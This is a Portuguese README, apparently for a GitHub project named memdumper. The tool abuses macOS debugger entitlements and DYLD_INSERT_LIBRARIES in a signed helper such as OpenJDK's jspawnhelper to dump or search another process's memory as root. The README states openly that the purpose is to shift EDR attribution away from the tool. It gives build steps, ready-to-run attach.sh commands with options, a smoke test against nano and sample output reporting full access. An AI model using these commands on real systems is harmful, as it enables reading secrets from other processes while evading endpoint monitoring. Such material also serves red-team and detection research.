
Abusa dos entitlements de depurador do macOS e da DYLD_INSERT_LIBRARIES para despejar ou pesquisar a memória de um processo em execução, ao mesmo tempo que transfere a atribuição de EDR para um binário auxiliar assinado.
por cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
O memdumper lê a memória de um processo macOS em execução sob o entitlement de depuração de outro binário assinado. O objetivo é que task_for_pid e ptrace sejam executados como esse binário com entitlements, para que um EDR registre essa atividade em vez do memdumper.
O memdumper inicia um binário com entitlements que carrega com.apple.security.cs.debugger e os dois entitlements que permitem uma inserção via DYLD_INSERT_LIBRARIES. Use-o para pesquisar e fazer o dump da memória de outro processo como root. O jspawnhelper do OpenJDK é um binário comumente encontrado, especialmente em máquinas de desenvolvedores.
Passe ao attach.sh um PID alvo e o binário com entitlements. O construtor da dylib é executado antes do main desse binário, lê o alvo e então chama _exit. O binário com entitlements nunca chega ao main, portanto um auxiliar como jspawnhelper não imprime seu banner de uso. Argumentos extras após o binário com entitlements permanecem na linha de comando que um EDR registra. Sem -s, a dylib faz o hex-dump do início de cada região legível. Com -s, ela procura a string nessas regiões. O espaço de endereçamento do alvo não é gravado. O attach via ptrace pode parar o alvo brevemente.
O status do dump é a linha [RESULT] na saída mesclada. Uma inserção bem-sucedida termina com 0 depois que o construtor termina.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation (por exemplo, o jspawnhelper do OpenJDK)clangmakeattach.sh e os scripts de teste (brew install shellcheck)brew install cppcheck)No host de compilação:
make
Isso produz memdumper.dylib. Copie o attach.sh e o memdumper.dylib para o alvo se as máquinas não forem as mesmas.
Execute o attach.sh como root a partir do diretório que contém memdumper.dylib. Um chamador não-root é recusado antes de o binário com entitlements iniciar (root required). Isso evita a caixa de diálogo de senha do Developer Tool Access (taskgated / Authorization Services). Essa caixa de diálogo não é Transparência, Consentimento e Controle (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
| Opção | Significado |
|---|---|
-p, --pid PID | ID do processo alvo (obrigatório) |
-s, --search STRING | Procura STRING nas regiões legíveis |
-n, --max-regions N | Número máximo de regiões legíveis para hex-dump (padrão 100). Somente no caminho de dump |
-f, --force | Continua quando o codesign relata Hardened Runtime |
-h, --help | Imprime o uso (exit 1) |
Confirme que um binário candidato com entitlements tem os três entitlements. O prefixo do Cellar e a versão do OpenJDK variam; o attach.sh usa este layout na própria ajuda:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Faça o dump das regiões legíveis do PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Procure por HELLO nesse processo:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Limite o dump a 50 regiões legíveis, usando java como binário com entitlements. TestSpawn permanece na linha de comando; o main do java não é executado:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Um editor sem Hardened Runtime funciona como alvo de smoke test. Inicie-o como o usuário dono do buffer e depois faça o attach como root. Em um terminal:
nano foo
Coloque HELLO no buffer para que a string esteja no processo (salve o arquivo ou deixe-o sem salvar). Em outro terminal, a partir do diretório que contém memdumper.dylib:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Uma correspondência tem esta aparência. O processo então sai com 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
O attach.sh não verifica os entitlements do binário. Um binário sem qualquer um dos três falha na inserção ou no task_for_pid.
| Código | Significado |
|---|---|
| 0 | O construtor terminou após uma inserção bem-sucedida |
| 1 | Erro de uso, não é root, memdumper.dylib ausente no diretório atual, -p ausente, PID alvo não encontrado, Hardened Runtime sem --force, ou a inserção não ocorreu (o binário com entitlements então foi executado e saiu com código diferente de zero) |
Leia [RESULT] para ver o resultado do dump. O código de saída 0 significa apenas que o construtor foi executado e chamou _exit.
A dylib lê três variáveis de ambiente. O attach.sh as define a partir das opções.